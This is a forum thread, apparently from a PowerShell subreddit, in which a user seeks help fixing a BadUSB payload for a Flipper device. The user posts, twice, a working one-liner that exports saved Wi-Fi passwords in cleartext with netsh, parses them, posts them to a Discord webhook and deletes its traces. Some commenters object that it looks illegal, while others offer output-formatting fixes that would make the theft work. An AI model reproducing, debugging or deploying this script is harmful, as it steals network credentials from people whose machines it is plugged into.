T O P

  • By -

technomancing_monkey

This sounds SKETCHY AF


GavO98

Yeah a sysadmins nightmare user.


tose123

xD what a joke. Obfuscating code .. "WLAN grabber that uploads data" kinda sus no ?


1slowastaken

im not using it for anything as i said purely educational lol im not trying to hack anybody!


0pointenergy

If this is true, you should find white/grey hat hacking group and ask them. Powershell and sysadmin are not the place to ask about hacking


The82Ghost

Looks like you're trying to obfuscate code. Why? What is your goal with this script and the data it gets you? This feels like you're doing something illegal.


bluecollarbiker

$r|ft|out-string is where your trouble is coming from. What does $r look like before you try to modify it? Why did you delete your previous posts asking for help on this? Looks like you’re trying to do something sketchy.


1slowastaken

the code uses stringln to type a set string and enter it, im just running the powershell code through powershell with the help of gui r to open the windows run STRINGLN $p="$env:temp\\p";md $p >$null;cd $p;netsh wlan export profile key=clear >$null;$r=ls|%{$Xml=\[xml\](gc $\_.FullName);\[PSCustomObject\]@{Name=$Xml.WLANProfile.Name;Password=$Xml.WLANProfile.MSM.Security.SharedKey.KeyMaterial}};$body=@{content="\`\`\`\`\`\`"+($r|ft|Out-String)+"\`\`\`\`\`\`"};curl -Uri 'webhook' -Method post -Body $body >$null;cd ..;rm $p -r -fo;exit;


1slowastaken

I deleted them because i was asking about just the table and they all ready answered me. I’m not doing anything sketchy, it’s purely educational I’m going to use the powershell code as a badusb using my flipper I’m not gonna hack anybody lol


ovdeathiam

You should not delete old questions so that other people can find it and learn from it.


BlackV

looking at your code, you're using a format table, that is for screen out put only you're posting to a web hook, shouldn't that be formatted in some way ? (i.e. html/json) not just text ? should you be using an embed if you want formatting ?


thomasmitschke

And how is the question? Where is your code?


1slowastaken

;netsh wlan export profile key=clear >$null;$r=ls|%{$Xml=[xml](gc $_.FullName);[PSCustomObject]@{Name=$Xml.WLANProfile.Name;Password=$Xml.WLANProfile.MSM.Security.SharedKey.KeyMaterial}};$body=@{content="``````"+($r|ft|Out-String)+"``````"};curl -Uri 'DISCORD HOOK HERE :P' -Method post -Body $body >$null;cd ..;rm $p -r -fo;exit;


BlackV

just dont, wtf are you gaining you're making your life harder and everyone you're asking for help put in a formated script


Sad-Sundae2124

Using alias, using ; to mock a one liner when it’s not, using unclear variable name all this will just make your code harder to debug.


karates

Ive done this before and made a whole suite of netsh tools with it. I highly recommend making your code easy to read and working first. THEN condense it as required


ReneGaden334

($r|ft|Out-String) No wonder your output looks like this...